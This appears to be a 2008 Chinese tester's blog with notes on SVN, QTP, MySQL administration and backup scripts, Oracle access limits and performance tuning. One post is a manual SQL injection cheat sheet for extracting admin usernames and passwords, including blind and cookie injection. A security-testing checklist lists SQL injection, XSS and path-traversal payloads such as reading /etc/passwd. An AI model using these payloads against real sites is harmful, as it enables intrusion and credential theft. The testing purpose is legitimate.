如果你有一个苹果,我有一个苹果,我们交换以后还是一人一个苹果,但如果你有一种思想,我有一种思想,我们交换以后,每个人便拥有了两种思想。

发布新日志

  • SVN安装配置

    2008-12-30 22:44:27

    项目组做项目文档等资源管理,原计划使用VSS,因找不到VSS Server安装文件(目前很多人手中有的都是VSS客户端安装文件),决定改用SVN。SVN是CVS的升级版,功能完善了很多,又是开源的。下面对SVN的安装及配置进行详细说明(基于Windows 平台):
    一.软件版本
    1.svn服务器:svn-1.4.5-setup.rar                                
    2.svn客户端: TortoiseSVN-1.4.5.10425-win32-svn-1.4.5.rar
    3.配置svn服务成window service自动运行的工具: SVNService.rar
    二.安装过程
    1.安装SVN服务器,直接运行这个.EXE文件即可,无须设置,一路默认下去,完成SVN服务器安装。
    2.新建一个版本控制库,运行CMD程序,输入svnadmin create D:\SVNRoot(具体位置可以自己定义)。
    3.安装SVN服务,因为WINDOWS默认是没有的,那就要自己安装,把SVNService解压到SVN安装文件的BIN目录下,在命令行中输入:
        svnservice -install -d -r D:\SVNRoot
    然后再启动SVN服务,输入:
        net start svnservice,
        SVN在默认情况下是不会自动启动的,需要到控制面板管理下的服务中将SVNSERVER设为自动启动。
    4.安装SVN客户端,直接运行TortoiseSVN安装文件,也无须特殊设置,安装完毕后会提示你重启(不重启也可以用)(客户端机器只需要安装TortoiseSVN)。
    三.服务器端配制
    1.找到D:\SVNRoot文件下的conf目录,对svnserver.conf,passwd,author进行配置
    svnserve.conf
    [general]
    ### These options control access to the repository for unauthenticated
    ### and authenticated users. Valid values are "write", "read",
    ### and "none". The sample settings below are the defaults.
    anon-access = read
    auth-access = write
    ### The password-db option controls the location of the password
    ### database file. Unless you specify a path starting with a /,
    ### the file's location is relative to the conf directory.
    ### Uncomment the line below to use the default password file.
    password-db = passwd
    含义是:
    未验证用户无任何权限 (如果把none修改为read就是给予读权限)
    已验证用户给予写权限 (当然也能读)
    密码数据存放到passwd文件中

    passwd
    [users]
    #harry = harryssecret
    #sally = sallyssecret
    admin=admin111
    lvzy=lvzy111
    含义是:
    增加了admin这个用户,密码为admin111
    增加了lvzy这个用户,密码为lvzy111

    Author
    [groups]
    # harry_and_sally = harry,sally
    进行用户组的配制
    比如:
    Lantian=admin,lvzy
    含义是将admin,lvzy加入到组Lantian中去
    # [repository:/baz/fuz]
    # @harry_and_sally = rw
    # * = r
    进行文件权限的设置
    比如存在libs这个文件,而我只希望admin一个人可以读写,lvzy有读权限,未授权的无法访问,则可以这样写
    [/libs]
    admin=rw
    lvzy=r
    *=none
    注:*表示匿名用户
    四.测试SVN 
       在客户端(当然也可以是本机),右击点TortoiseSVN-》Repo_Browser在弹出的URL中输入svn://服务器IP,点击OK,这时会要求你输入用户名和密码,你将你在passwd中设置的用户和密码在这里输入就可以了,然后你就可以看到版本库的内容,当然刚开始是新的,具体的客户端使用请查看其他文档。
    五. 说明
        服务器端防火墙应关闭,否则,将直接影响访问速度或不可访问。
        服务器端的安装可以完全按照以上四步的操作进行(可以不在服务器上安装客户端,即不执行二.4步骤);客户端的安装,只需要执行二.4步操作,安装客户端软件即可。客户端使用时,打开IE浏览器按第四步骤输入:svn://IP 即可。
  • HTML标记语言笔记

    2008-12-01 11:30:32

    一、 HTML基础
        1、HTML标记符的作用
        2、网页的基本结构,html、head、title、body标记
        3、网页中插入注释和特殊符号

    二、文本格式
        1、字符格式:font、b、i、u、hn
        2、段落格式:p、pre、hr、br
        3、列表格式:ol、ul、li、dl、dt、dd

    三、超级链接和图像
        1、超级链接a的使用
        2、插入图像
        3、图像映射

    四、表格和框架
        1、表格的使用:table、tr、td和th标记,细线表格和不规则表格
        2、创建框架结构:frameset、frame、iframe

    五、其它网页元素
        1、 表单:form、input、textarea、select、label。
        2、滚动字幕marquee
        3、网页插件的使用
  • 解决QTP录制自定义时间控件和上传附件控件无法识别问题

    2008-11-24 14:10:58

    自定义时间控件解决方法步骤如下:
    1.把自定义按钮用Objects SPy工具录制好;
    2.录制脚本结束后,添加弹出选择时间对话框步骤;
    (或编辑脚本内容,设默认值,还可以用低价录制使用坐标点来做)

    上传附件控件(录制过程中部分操作步

    骤没有被录制到)解决办法:

    1.使用低级录制中的坐标点来实现。

     

  • [论坛] 安全测试checklist

    2008-11-12 20:49:51

    1. 不登录系统,直接输入登录后的页面的url是否可以访问
    2. 不登录系统,直接输入下载文件的url是否可以下载,如输入http://url/download?name=file是否可以下载文件file
    3. 退出登录后按后退按钮能否访问之前的页面
    4. ID/密码验证方式中能否使用简单密码。如密码标准为6位以上,字母和数字混合,不能包含ID,连续的字母或数字不能超过n位
    5. 重要信息(如密码,身份证号码,信用卡号等)在输入或查询时是否用明文显示;在浏览器地址栏里输入命令javascrīpt:alert(doucument.cookie)时是否有重要信息;在html源码中能否看到重要信息
    6. 手动更改URL中的参数值能否访问没有权限访问的页面。如普通用户对应的url中的参数为l=e,高级用户对应的url中的参数为l=s,以普通用户的身份登录系统后将url中的参数e改为s来访问本没有权限访问的页面
    7. url里不可修改的参数是否可以被修改
    8. 上传与服务器端语言(jsp、asp、php)一样扩展名的文件或exe等可执行文件后,确认在服务器端是否可直接运行
    9. 注册用户时是否可以以'--,' or 1=1 --等做为用户名
    10. 传送给服务器的参数(如查询关键字、url中的参数等)中包含特殊字符(','and 1=1 --,' and 1=0 --,'or 1=0 --)时是否可以正常处理
    11. 执行新增操作时,在所有的输入框中输入脚本标签(<scrīpt>alert("")</scrīpt>)后能否保存
    12. 在url中输入下面的地址是否可以下载:http://url/download.jsp?file=C:\windows\system32\drivers\etc\hosts,http://url/download.jsp?file=/etc/passwd
    13. 是否对session的有效期进行处理
    14. 错误信息中是否含有sql语句、sql错误信息以及web服务器的绝对路径等
    15. ID/密码验证方式中,同一个账号在不同的机器上不能同时登录
    16. ID/密码验证方式中,连续数次输入错误密码后该账户是否被锁定
    17. 新增或修改重要信息(密码、身份证号码、信用卡号等)时是否有自动完成功能(在form标签中使用autocomplete=off来关闭自动完成功能)
  • weblogic启动不了的问题

    2008-10-28 13:51:23

    昨天在搭建测试环境过程中安装完weblogic9.2后,发现启动服务报错后台错误提示:weblogic.management.ManagementException: [Management:141266]Parsing Failure in config.xml: javax.xml.namespace.QName; local class incompatible:
              stream classdesc serialVersionUID = 4418622981026545151, local class serialVersionUID = -9120448754896609940

    折腾来快3小时最后终于搞定了,原因是:服务器上jdk的版本和某些类有冲突

    解决办法:在startWeblogic.cmd(或startWeblogic.sh)文件中设置JAVA_OPTIONS的地方添加(注意是在一行的,中间用空格隔开):
    set JAVA_OPTIONS=%SAVE_JAVA_OPTIONS% -Dcom.sun.xml.namespace.QName.useCompatibleSerialVersionUID=1.0

  • 【转】系统瓶颈分析经验举例

    2008-10-23 17:29:18

    经验举例1

    交易的响应时间如果很长,远远超过系统性能需求,表示耗费CPU的数据库操作,例如排序,执行aggregate functions(例如summinmaxcount)等较多,可考虑是否有索引以及索引建立的是否合理;尽量使用简单的表联接;水平分割大表格等方法来降低该值。

     

    经验举例2

    分段排除错误。测试工具可以模拟不同的虚拟用户来单独访问Web服务器、应用服务器和数据库服务器,这样,就可以在Web端测出的响应时间减去以上各个分段测出的时间就可以知道瓶颈在哪并着手调优。

     

    经验举例3

    UNIX资源监控(NT操作系统同理)中指标内存页交换速率Paging rate),如果该值偶尔走高,表明当时有线程竞争内存。如果持续很高,则内存可能是瓶颈。也可能是内存访问命中率低。“Swap in rate”“Swap out rate”也有类似的解释。

     

    经验举例4

    UNIX资源监控(NT操作系统同理)中指标CPU占用率CPU utilization),如果该值持续超过95%,表明瓶颈是CPU。可以考虑增加一个处理器或换一个更快的处理器 。合理使用的范围在60%70%

     

    经验举例5

    UNIX资源监控(NT操作系统同理)中指标磁盘交换率Disk rate),如果该参数值一直很高,表明I/O有问题。可考虑更换更快的硬盘系统、重新部署业务逻辑等,另外设置Tempdb in RAM,减低"max async IO""max lazy writer IO"等措施都会降低该值。

     

    经验举例6

    Tuxedo资源监控中指标队列中的字节数Bytes on queue),队列长度应不超过磁盘数的1.5~2倍。要提高性能,可增加磁盘。注意:一个Raid Disk实际有多个磁盘。

     

    经验举例7

    SQLServer资源监控中指标缓存点击率Cache Hit Ratio),该值越高越好。如果持续低于80%,应考虑增加内存。注意该参数值是从SQL Server启动后,就一直累加记数,所以运行经过一段时间后,该值将不能反映系统当前值。

  • 测试网站和电子书下载网址

    2008-10-20 11:11:35

    英文测试网站:
    http://www.softwareqatest.com/
    http://www.testingcraft.com/
    http://www.qacity.com/
    51Testing测试网---www.51testing.com
    测试时代----------www.testage.net                                                   焦点测试----------www.testfocus.com.cn
    3Atesting----------www.3atesting.com
    CSDN测试频道------testing.csdn.net
    希赛网测试频道----testing.csai.cn
    中国软件测试联盟--www.iceshi.com
    一起测试网--------www.17testing.com
    北大测试----------www.btesting.com
    中国软件测试基地--www.cntesting.com
    中国软件评测中心--www.cstc.org.cn
    中国软件质量网----www.rjzl.gov.cn
    软件工程专家网----www.51cmm.com
    中国软件测试在线--www.softtest.cn
    天天软件测试网----www.tttest.com/ 
    365testing--------www.365testing.com 
    中国测试员--------www.cntester.com

    http://www.sawin.cn/SawinPilot/saSubTech.asp?SubClass=Test
    http://www.io.com/~wazmo/qa/  
    http://www.mtsu.edu/~storm/
    http://www.qaforums.com
    http://www.faqs.org/faqs/software-eng/testing-faq/

    电子书下载网址
    http://www.itpub.net/325522,1.html
    测试书籍的推荐:
    http://www.cntesting.com/hphtml/?thread-7346.html
    软件测试好书下载和推荐:
    http://www.51testing.com/recommend.htm

    书库
    http://book.httpcn.com/
    http://www.manyi100.com/
    http://www.netyi.net/

  • QTP检查点设置

    2008-10-15 12:45:41

    检查点类型:

    1.标准检查点(Standard Checkpoint)检查对象的属性,如可以检查某个按钮的是否被选取;
    2.页面检查点(Page Checkpoint) 检查网页的特性,如可以检查加载页面所需的时间,或者检查网页是否包含损坏的链接;
    3.图片检查点(Image Checkpoint)检查应用程序或网页中的图像的值,如可以检查所选图像的源文文件是否正确;
    4.位图检查点(Bitmap Checkpoint)检查位图格式的网页或应用程序区域;如。被测应用程序中有一个按钮,显示<查看文档>其中<号码>会被输入到应用程序中其它位置窗体的四位数字代码替换。可以创建一个文本区域检查点,以确认在该按钮上显示与窗体中的号码相同;
    5.文本检查点(Text Checkpoint)检查网页或窗口中的文字内容是否正确;
    6.文本区域检查点(Text Area Checkpoint)检查网页或窗口中的文字是否在指定的区域显示;
    7.表检查点(Table Checkpoint)检查表内部信息,假设被测试应用程序包含一个表,改表列出了从纽约到旧金山所有可用航班。可以添加一个表检查点,以检查该表中的第一个航班的时间是否正确;
    8.数据库检查点(Database Checkpoint)检查由应用程序访问的数据库到内容,如使用数据库检查点来检查网站上包含航班信息的数据库内容;
    9.Output Value 输出值检查,如输出网页中某一图片的属性(长宽高等);
    10.可访问性检查点(Accessibility Checkpoint)对网站区域属性进行识别,以检查是否符合可访问性规则的要求;
    11.XML检查点(XML Checkpoint) 检查xml文件数据内容;

  • Mysql自动备份脚本

    2008-10-04 22:31:05

    找到一个Mysql自动备份脚本大家需要的话可以自己根据需求参考修改一下
    该脚本功能介绍:可以将这个脚本放进crontab,每天凌晨执行一次,自动备份,支持多种备份方式,自动翻转。
    该脚本每天最多只执行一次,而且只保留最近五天的备份在服务器上。
    #!/bin/bash
    #This is a Shellscrīpt For Auto DB Backup
    #Setting
    #设置数据库名,数据库登录名,密码,备份路径,日志路径,数据文件位置,以及备份方式
    #默认情况下备份方式是tar,还可以是mysqldump,mysqldotcopy
    #默认情况下,用root(空)登录mysql数据库,备份至/root/dbxxxxx.tgz
    DBName=mysql
    DBUser=root
    DBPasswd=
    BackupPath=/root/
    LogFile=/root/db.log
    DBPath=/var/lib/mysql/
    #BackupMethod=mysqldump
    #BackupMethod=mysqlhotcopy
    #BackupMethod=tar
    #Setting End
    NewFile="$BackupPath"db$(date +%y%m%d).tgz
    DumpFile="$BackupPath"db$(date +%y%m%d)
    OldFile="$BackupPath"db$(date +%y%m%d --date='5 days ago').tgz

    echo "-------------------------------------------" >;>; $LogFile
    echo $(date +"%y-%m-%d %H:%M:%S") >;>; $LogFile
    echo "--------------------------" >;>; $LogFile
    #Delete Old File
    if [ -f $OldFile ]
    then
       rm -f $OldFile >;>; $LogFile 2>;&1
       echo "[$OldFile]Delete Old File Success!" >;>; $LogFile
    else
       echo "[$OldFile]No Old Backup File!" >;>; $LogFile
    fi

    if [ -f $NewFile ]
    then
       echo "[$NewFile]The Backup File is exists,Can't Backup!" >;>; $LogFile
    else
       case $BackupMethod in
       mysqldump)
          if [ -z $DBPasswd ]
          then
             mysqldump -u $DBUser --opt $DBName >; $DumpFile
          else
             mysqldump -u $DBUser -p$DBPasswd --opt $DBName >; $DumpFile
          fi
          tar czvf $NewFile $DumpFile >;>; $LogFile 2>;&1
          echo "[$NewFile]Backup Success!" >;>; $LogFile
          rm -rf $DumpFile
          ;;
       mysqlhotcopy)
          rm -rf $DumpFile
          mkdir $DumpFile
          if [ -z $DBPasswd ]
          then
             mysqlhotcopy -u $DBUser $DBName $DumpFile >;>; $LogFile 2>;&1
          else
             mysqlhotcopy -u $DBUser -p $DBPasswd $DBName $DumpFile >;>;$LogFile 2>;&1
          fi
          tar czvf $NewFile $DumpFile >;>; $LogFile 2>;&1
          echo "[$NewFile]Backup Success!" >;>; $LogFile
          rm -rf $DumpFile
          ;;
       *)
          /etc/init.d/mysqld stop >;/dev/null 2>;&1
          tar czvf $NewFile $DBPath$DBName >;>; $LogFile 2>;&1
          /etc/init.d/mysqld start >;/dev/null 2>;&1
          echo "[$NewFile]Backup Success!" >;>; $LogFile
          ;;
       esac
    fi

    echo "-------------------------------------------" >;>; $LogFile

  • [论坛] 手工注入猜解语句

    2008-09-30 14:31:52

    自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!
    猜解表名:
    and exists (select * from 表名)
    猜解列名:
    and exists (select 字段 from 表名)
    UNION法:
    联合查询:
    select name,password,id from user union select user,pwd,uid from
    爆指定表名内容:
    and 1=1 union select 1,2,3,4,5 from 表名
    ASCII逐字解码法:
    1、猜解列长度
    猜解语句:
    and (select top 1 len(列名)from 表名)>N
    and (select top 1 len(列名)from 表名)=N
    其中N是数字,变换这个N的值猜解列长度,例如:
    and (select top 1 len(列名)from 表名)>1
    and (select top 1 len(列名)from 表名)>6
    如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
    select top 1 len(列名) from 表名
    where 列名 not in (select top 1 列名 from 表名)
    2、ASCII码分析法猜解用户和密码
    ASC()函数和Mid函数
    例如:mid(列名,N,1)
    ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
    猜解语句为:
    and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
    区间判断语句:
    “......between......and......”
    中文处理法:
    当ASCII转换后为“负数”使用abs()函数取绝对值。
    例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
    ASCII逐字解码法的应用:
    1、猜解表名:
    and (select count(*) from admin)<>0
    2、猜解列名:
    and (select count(列名) from 表名)<>0
    3、猜解管理员用户个数:
    and (select count(*) from 表名)=1
    返回正常,表中有一条记录。
    4、猜解管理员用户名的长度:
    and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
    5、猜解管理员用户名:
    and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
    最后提交:
    and (select asc(mid(列名,1,1)) from 表名)=ascii的值
    6、猜解管理员的密码:
    按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。
    搜索型注入漏洞利用猜解语句:
    关键字%' and 1=1 and '%'='%
    关键字%' and 1=2 and '%'='%
    将and 1=1 换成注入语句就可以了。

    cookie注入语句:
    javascrīpt:alert(document.cookie="id="+escape("44 and 1=1"));
    javascrīpt:alert(document.cookie="id="+escape("44 and 1=2"));
    猜解语句:
    猜解长度:
    javascrīpt:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
    猜解内容:
    javascrīpt:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
  • MySql数据库用户管理命令

    2008-09-12 13:45:54

    1、修改mysql中root的密码
        mysql -u root -p

        mysql> update user set password=password("xueok654123") where user='root';

        mysql> flush privileges //刷新数据库

        mysql>use dbname; 打开数据库:

        mysql>show databases; 显示所有数据库

        mysql>show tables; 显示数据库mysql中所有的表:先use mysql;然后

        mysql>describe user; 显示表mysql数据库中user表的列信息);
    2、grant命令用法
    创建一个可以从任何地方连接服务器的一个完全的超级用户,但是必须使用一个口令something做这个
    mysql> grant all privileges on *.* touser@localhostidentified by ’something’ with

    增加新用户
    格式:grant select on 数据库.* to 用户名@登录主机 identified by “密码”
    GRANT ALL PRIVILEGES ON *.* TOmonty@localhostIDENTIFIED BY ’something’ WITH GRANT OPTION;
    GRANT ALL PRIVILEGES ON *.* TOmonty@”%” IDENTIFIED BY ’something’ WITH GRANT OPTION;
    grant all privileges on dbtest.* to aaa@localhost identified by 'aaa' with grant option;

    删除授权
    mysql> revoke all privileges on *.* fromroot@”%”;
    mysql> delete from user where user=”root” and host=”%”;
    mysql> flush privileges;
     
    创建一个用户custom在特定客户端it363.com登录,可访问特定数据库fangchandb
    mysql >grant select, insert, update, delete, create,drop on fangchandb.* to custom@it363.com identified by 'passwd'

  • 内部技术交流白盒测试总结

    2008-09-10 10:32:27

    白盒测试是通过对程序内部结构的分析、检测来寻找问题。
     
      白盒测试可以把程序看成装在一个透明的白盒子里,也就是清楚了解程序结构和处理过程,检查是
    否所有的结构及路径都是正确的,检查软件内部动作是否按照设计说明的规定正常进行。白盒测试又称
    结构测试。
    1 白盒测试基本技术: 词法分析与语法分析,静态错误分析,程序插桩技术。

    2 白盒测试方法 
    2.1代码检查法:代码检查方式(桌面检查,代码审查,走查),代码检查项目,编码规范,代码检
    查规则,缺陷检查表。
    2.2静态结构分析法。
    2.3静态质量试题法。
    2.4逻辑覆盖法
       语句覆盖:选择足够多的测试数据,使测试程序中每条语句至少执行一次。
    判定覆盖(分支覆盖):设计足够多的测试用例,使用得程序中的每个判定至少都获得一次“
    真值”或“假值”;或者说使用得程序中的每一个取“真”分支和取“假”分支至少经历一次。
    条件覆盖:构造一组测试用例,使得每一判定语句中每个逻辑条件的可能值至少满足一次。
    条件判定组合覆盖:设计足够的测试用例,使用得判定中每个条件的所有可能(真/假)至少出
    现一次,并且每个判定本身的判定结果(真/假)也至少出现一次。
    多条件覆盖:设计足够的测试用
    例,使得每个判定中条件的各种可能组合都至少出现一次。
    修正条件判定覆盖

    2.5基本路径测试法
    程序的控制流图(学会通过看程序块画出控制流图)。
    程序环路复杂性(即McCabe复杂性度量)环路复杂性V(G)=判断结点数+1.
      基本路径测试法步骤: 
    以详细设计或源代码作为基础,导出程序的控制流图;
    计算得到的控制流图G的环路复杂性V(G);
    确定线性无关的路径的基本集;
    生成测试用例,确保基本路径集中每条路径的执行.
    2.6 其他白盒测试方法:域测试,符号测试,Z路径覆盖,程序变异
  • MySql数据库用alter table语句修改表的结构

    2008-09-09 18:56:48

    有时你可能需要改变一下现有表的结构,那么Alter Table语句将是你的合适选择。
    增加列
    alter table tbl_name add col_name type
    例如,给表增加一列weight
    mysql>alter table pet add weight int;
    删除列
    alter table tbl_name drop col_name
    例如,删除列weight:
    mysql>alter table pet drop weight;
    改变列
    alter table tbl_name modify col_name type
    例如,改变weight的类型:
    mysql> alter table pet modify weight samllint;
    另一种方法是:
    alter table tbl_name change old_col_name col_name type
    例如:
    mysql> alter table pet change weight weight samllint;
    给列更名
    mysql>alter table pet change weight wei;
    给表更名
    alter table tbl_name rename new_tbl
    例如,把pet表更名为animal
    mysql>alter table pet rename animal;
  • mysqldump的几种用法

    2008-09-08 18:06:02

    1.导出整个数据库
    mysqldump -u 用户名 -p 数据库名 > 导出的文件名   
    mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql
    2.导出一个表
    mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
    mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql
    3.导出一个数据库结构
        mysqldump -u wcnc -p -d --add-drop-table smgp_apps_wcnc >d:\wcnc_db.sql
    -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table
    4.带语言参数导出
       mysqldump -uroot -p --default-character-set=latin1 --set-charset=gbk --skip-opt databse > d4.sql
    5.导入数据库
        常用source 命令
        进入mysql数据库控制台,
        如mysql -u root -p 
        mysql>use 数据库
        然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
        mysql>source d:\wcnc_db.sql

    常用source 命令
        进入mysql数据库控制台,
        如mysql -u root -p 
        mysql>use 数据库
        然后使用source命令,后面参数为脚本文件(如这里用到的.sql)
        mysql>source d:\wcnc_db.sql
    进入MYSQL数据库
    use bbs; Use bbs   //要导的数据库
    Source  /var/mysqldata/mysql2007.sql   执行导入
    或是: mysql -uusername -ppasswd --one-database bbs
  • 通过sqlnet.ora文件限制ip访问

    2008-09-06 11:28:14

    在Oracle数据库中,我们可以通过SQLNET.ora文件实现地址访问限制。
    在SQLNET.ora文件中设置以下参数可以实现IP访问限制:

    tcp.validnode_checking=yes
    tcp.invited_nodes=(ip1,ip2......)
    tcp.excluded_nodes=(ip1,ip2......)

    在未设置这些参数前,测试数据库可以正常访问:

    D:\>tnsping eygle
    TNS Ping Utility for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-1月 -2008 14:52:52
    Copyright (c) 1997, 2006, Oracle. All rights reserved.

    已使用的参数文件,:
    C:\oracle\10.2.0\network\admin\sqlnet.ora

    已使用 TNSNAMES 适配器来解析别名
    Attempting to contact (DEscrīptION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.33.11)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = eygle)))
    OK (30 毫秒)

    当设置参数之后:

    [oracle@jumper admin]$ cat sqlnet.ora
    # SQLNET.ORA Network Configuration File: /opt/oracle/product/9.2.0/network/admin/sqlnet.ora
    # Generated by Oracle configuration tools.

    NAMES.DIRECTORY_PATH= (TNSNAMES, ONAMES, HOSTNAME)

    tcp.validnode_checking=yes
    tcp.invited_nodes=(172.16.33.11,172.16.34.89)

    重新启动监听器使设置生效:

    [oracle@jumper admin]$ lsnrctl start

    LSNRCTL for Linux: Version 9.2.0.4.0 - Production on 28-JAN-2008 14:42:01
    Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.
    Starting /opt/oracle/product/9.2.0/bin/tnslsnr: please wait...

    TNSLSNR for Linux: Version 9.2.0.4.0 - Production
    System parameter file is /opt/oracle/product/9.2.0/network/admin/listener.ora
    Log messages written to /opt/oracle/product/9.2.0/network/log/listener.log
    Trace information written to /opt/oracle/product/9.2.0/network/trace/listener.trc
    Listening on: (DEscrīptION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))

    Connecting to (DEscrīptION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.16.33.11)(PORT=1521)))
    STATUS of the LISTENER
    ------------------------
    Alias LISTENER
    Version TNSLSNR for Linux: Version 9.2.0.4.0 - Production
    Start Date 28-JAN-2008 14:42:01
    Uptime 0 days 0 hr. 0 min. 0 sec
    Trace Level support
    Security ON
    SNMP OFF
    Listener Parameter File /opt/oracle/product/9.2.0/network/admin/listener.ora
    Listener Log File /opt/oracle/product/9.2.0/network/log/listener.log
    Listener Trace File /opt/oracle/product/9.2.0/network/trace/listener.trc
    Listening Endpoints Summary...
    (DEscrīptION=(ADDRESS=(PROTOCOL=tcp)(HOST=172.16.33.11)(PORT=1521)))
    Services Summary...
    Service "eygle" has 1 instance(s).
    Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
    Service "julia" has 1 instance(s).
    Instance "eygle", status UNKNOWN, has 1 handler(s) for this service...
    The command completed successfully

    我们再来看客户端的访问:

    D:\>tnsping eygle
    TNS Ping Utility for 32-bit Windows: Version 10.2.0.3.0 - Production on 28-1月 -2008 14:53:19
    Copyright (c) 1997, 2006, Oracle. All rights reserved.

    已使用的参数文件:
    C:\oracle\10.2.0\network\admin\sqlnet.ora

    已使用 TNSNAMES 适配器来解析别名
    Attempting to contact (DEscrīptION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.33.11)(PORT = 1521))) (CONNECT_DATA = (SERVICE_NAME = eygle)))
    TNS-12547: TNS: 丢失连接


    需要注意的是一定要将本地地址,或者Cluster群集其他节点的地址都加入到允许列表,否则监听器可能无法启动。
    修改参数之后,重启监听器设置即可生效。

    通过监听器的限制,通常属于轻量级,比在数据库内部通过触发器进行限制效率要高。

  • mysql 用户管理命令

    2008-09-04 13:38:28

    首先要声明一下:一般情况下,修改MySQL密码,授权,是需要有mysql里的root权限的。

    注:本操作是在WIN命令提示符下,phpMyAdmin同样适用。
        用户:phplamp  用户数据库:phplampDB

    1.新建用户。

    //登录MYSQL
    @>mysql -u root -p
    @>密码
    //创建用户
    mysql> insert into mysql.user(Host,User,Password) values("localhost","phplamp",password("1234"));
    //刷新系统权限表
    mysql>flush privileges;
    这样就创建了一个名为:phplamp  密码为:1234  的用户。

    然后登录一下。

    mysql>exit;
    @>mysql -u phplamp -p
    @>输入密码
    mysql>登录成功

    2.为用户授权。

    //登录MYSQL(有ROOT权限)。我里我以ROOT身份登录.
    @>mysql -u root -p
    @>密码
    //首先为用户创建一个数据库(phplampDB)
    mysql>create database phplampDB;
    //授权phplamp用户拥有phplamp数据库的所有权限。
    >grant all privileges on phplampDB.* to phplamp@localhost identified by '1234';
    //刷新系统权限表
    mysql>flush privileges;
    mysql>其它操作

    /*
    如果想指定部分权限给一用户,可以这样来写:
    mysql>grant select,update on phplampDB.* to phplamp@localhost identified by '1234';
    //刷新系统权限表。
    mysql>flush privileges;
    */

    3.删除用户。
    @>mysql -u root -p
    @>密码
    mysql>DELETE FROM user WHERE User="phplamp" and Host="localhost";
    mysql>flush privileges;
    //删除用户的数据库
    mysql>drop database phplampDB;

    4.修改指定用户密码。
    @>mysql -u root -p
    @>密码
    mysql>update mysql.user set password=password('新密码') where User="phplamp" and Host="localhost";
    mysql>flush privileges;
  • MySQL导出导入命令的用例

    2008-09-04 12:29:24

    1.导出整个数据库

      mysqldump -u 用户名 -p 数据库名 > 导出的文件名

      mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql

    2.导出一个表

      mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名

      mysqldump -u wcnc -p smgp_apps_wcnc users> wcnc_users.sql

    3.导出一个数据库结构

      mysqldump -u wcnc -p -d --add-drop-table smgp_apps_wcnc >d:wcnc_db.sql

      -d 没有数据 --add-drop-table 在每个create语句之前增加一个drop table

    4.导入数据库

      常用source 命令

      进入mysql数据库控制台,

      如mysql -u root -p

      mysql>use 数据库

      然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

      mysql>source d:wcnc_db.sql

  • mysql常用操作

    2008-09-04 11:27:52

    1、增加了密码后的登录格式如下: 
      mysql -u root -p
     
    2、修改登录密码
      1) mysqladmin -u用户名 -p旧密码 password 新密码 
        例:mysqladmin -u root password 21century
        注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。
      2)直接修改user表的root用户口令:
       mysql> user mysql;
       mysql> update user set pasword=password(’21century’) where user=’root’;
       mysql> flush privileges;
       注:flush privileges的意思是强制刷新内存授权表,否则用的还是缓冲中的口令。

    3、测试密码是否修改成功
       1)不用密码登录
      [root@test1 local]# mysql
      ERROR 1045: Access denied for user: ‘root@localhost’ (Using password: NO)
      显示错误,说明密码已经修改。
      2)用修改后的密码登录
      [root@test1 local]# mysql -u root -p
      Enter password: (输入修改后的密码21century)
      Welcome to the MySQL monitor.  Commands end with ; or \g.
        Your MySQL connection id is 177 to server version: 3.23.48
        Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.
      mysql>
      成功!
      这是通过mysqladmin命令修改口令,也可通过修改库来更改口令 

    4、启动和停止
       启动:Mysql从3.23.15版本开始作了改动,默认安装后服务要用mysql用户来启动,不允许root用户启动。
             如果非要用root用户来启动,必须加上–user=root参数
             (./safe_mysqld –user=root &)
       停止:mysqladmin -u root -p shutdown
      
    5、导出meeting数据库:
        mysqldump -uroot -p21century meeting > db_meeting.sql
       导人dbname数据库
        mysqldump -uroot -p21century dbname < xxx.sql  
       导入数据库还可用类似于oracle中@my_scrīpt.sql的方式一次执行大量sql语句,这在使用mysqldump不起作用时非常有用。
       例:#./mysql -uroot -p < /home/xuys/db_meeting_2003.sql
       (注:create database、use databasename、create table和insert into语句都可写在上面的脚步文件中)

    6、给表改名
        RENAME TABLE ztemp TO ztemp4;

    7、修改字段属性
        ALTER TABLE bbabase CHANGE news_id id VARCHAR(5) NOT NULL;

    8、在表中的content后增加一字段
        ALTER TABLE bbabase ADD leave_time DATETIME NOT NULL AFTER content;

    9、增加用户
        GRANT select,update,insert ON 数据库名.* TO 用户名@登录主机 identified by “密码”       
       例:grant select,update,insert,delete on *.* to test@dev identified by “abc”;

    10、只需本机使用Mysql服务,在启动时还可以加上–skip-networking参数使Mysql不监听任何TCP/IP连接
        (./safe_mysqld –skip-networking &),增加安全性。(非常推荐)
      

    11、忘记root密码怎么办?
        在启动Mysql服务器时加上参数–skip-grant-tables来跳过授权表的验证
        (./safe_mysqld –skip-grant-tables &),这样我们就可以直接登陆Mysql服务器,
        然后再修改root用户的口令,重启Mysql就可以用新口令登陆了。

    一、操作技巧
